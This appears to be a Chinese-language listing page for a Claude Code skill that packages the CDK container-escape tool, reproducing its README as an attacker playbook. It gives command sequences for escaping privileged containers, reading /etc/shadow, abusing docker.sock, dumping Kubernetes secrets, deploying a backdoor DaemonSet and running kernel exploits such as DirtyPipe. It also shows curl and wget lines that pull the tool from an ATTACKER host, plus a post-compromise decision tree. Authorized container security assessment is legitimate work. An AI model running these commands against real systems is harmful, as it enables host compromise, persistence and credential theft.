mcpField
C
cdk-escape

cdk-escape

github.com/wgpsec安全1.8k44 次安装4 天前更新
代码仓库

关于 cdk-escape

CDK 是用于容器渗透测试的单二进制工具,面向评估容器环境的安全人员。它检查运行时、权限和挂载点,并提供容器逃逸、信息收集及漏洞利用功能。

主要功能

  1. 01评估容器逃逸路径
  2. 02检查运行时与容器权限
  3. 03利用挂载点和 capabilities
  4. 04检查 Docker Socket 与 Kubernetes
  5. 05扫描内网服务和云元数据

适用场景

  1. 01评估容器环境的逃逸风险
  2. 02检查 Docker Socket 或 Kubernetes 配置
  3. 03在容器网络中探测服务
  4. 04测试已知内核漏洞

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/wgpsec/aboutsecurity --skill cdk-escape

安装后在 Claude Code 中输入/cdk-escape确认已加载。

详细介绍

来自项目 README

CDK 容器渗透与逃逸

CDK 是容器渗透的瑞士军刀——一个二进制解决容器内信息收集、漏洞检测、逃逸利用。拿到容器 shell 后,先跑 CDK 评估,再选逃逸路径。

项目地址:https://github.com/cdk-team/CDK

第一步:环境评估

进入容器后立即运行评估,CDK 会自动检测所有可能的逃逸路径:

# 全自动评估(推荐首选)
cdk evaluate

# 评估输出会列出:
# - 容器运行时类型(Docker/containerd/CRI-O)
# - 容器权限(privileged/capabilities)
# - 可利用的挂载点
# - 可用的逃逸技术
# - K8s Service Account Token
# - 网络信息

逃逸技术

特权容器逃逸
# 检测到 privileged=true 时
cdk run mount-cgroup "cat /etc/shadow"
# 或
cdk run mount-disk

# 通过 /dev 设备逃逸
cdk run mount-procfs "cat /etc/shadow"
capabilities 逃逸
# CAP_SYS_ADMIN
cdk run mount-cgroup "whoami"

# CAP_DAC_READ_SEARCH
cdk run cap-dac-read-search

# CAP_SYS_PTRACE
cdk run check-ptrace
cdk run shim-pwn  # containerd-shim 提权
Docker Socket 逃逸
# 发现挂载了 /var/run/docker.sock
cdk run docker-sock-check
cdk run docker-sock-deploy "attacker_image"
K8s 逃逸
# 利用 Service Account Token
cdk run k8s-secret-dump
cdk run k8s-configmap-dump

# 创建特权 Pod 逃逸
cdk run k8s-backdoor-daemonset
内核漏洞逃逸
# CVE-2021-22555 (Netfilter)
cdk run exploit-CVE-2021-22555

# CVE-2022-0847 (DirtyPipe)
cdk run exploit-CVE-2022-0847

# runc CVE-2019-5736
cdk run runc-pwn

容器内信息收集

# 扫描内网服务(容器网络内)
cdk run service-probe 10.0.0.0/24

# 探测 K8s API Server
cdk run k8s-service-discovery

# 获取元数据服务(云环境)
cdk run cloud-metadata

工具投递

CDK 是静态编译的单二进制文件,投递到容器很方便:

# 方式 1:通过 Web 漏洞下载
curl -o /tmp/cdk https://ATTACKER/cdk && chmod +x /tmp/cdk

# 方式 2:通过 Python 临时 HTTP 服务
# 攻击机:python3 -m http.server 8000
# 容器内:wget http://ATTACKER:8000/cdk -O /tmp/cdk && chmod +x /tmp/cdk

决策树

进入容器后:
├─ 第一步:cdk evaluate(自动评估所有逃逸路径)
├─ privileged=true → cdk run mount-cgroup / mount-disk
├─ 有 docker.sock → cdk run docker-sock-deploy
├─ 有 K8s SA Token → cdk run k8s-secret-dump
├─ 有 capabilities → 对应 capability 的利用
├─ 以上都没有 → 检查内核版本,尝试内核漏洞
└─ 也逃不了 → 容器内横向(service-probe 扫网段)

评论

支持 Markdown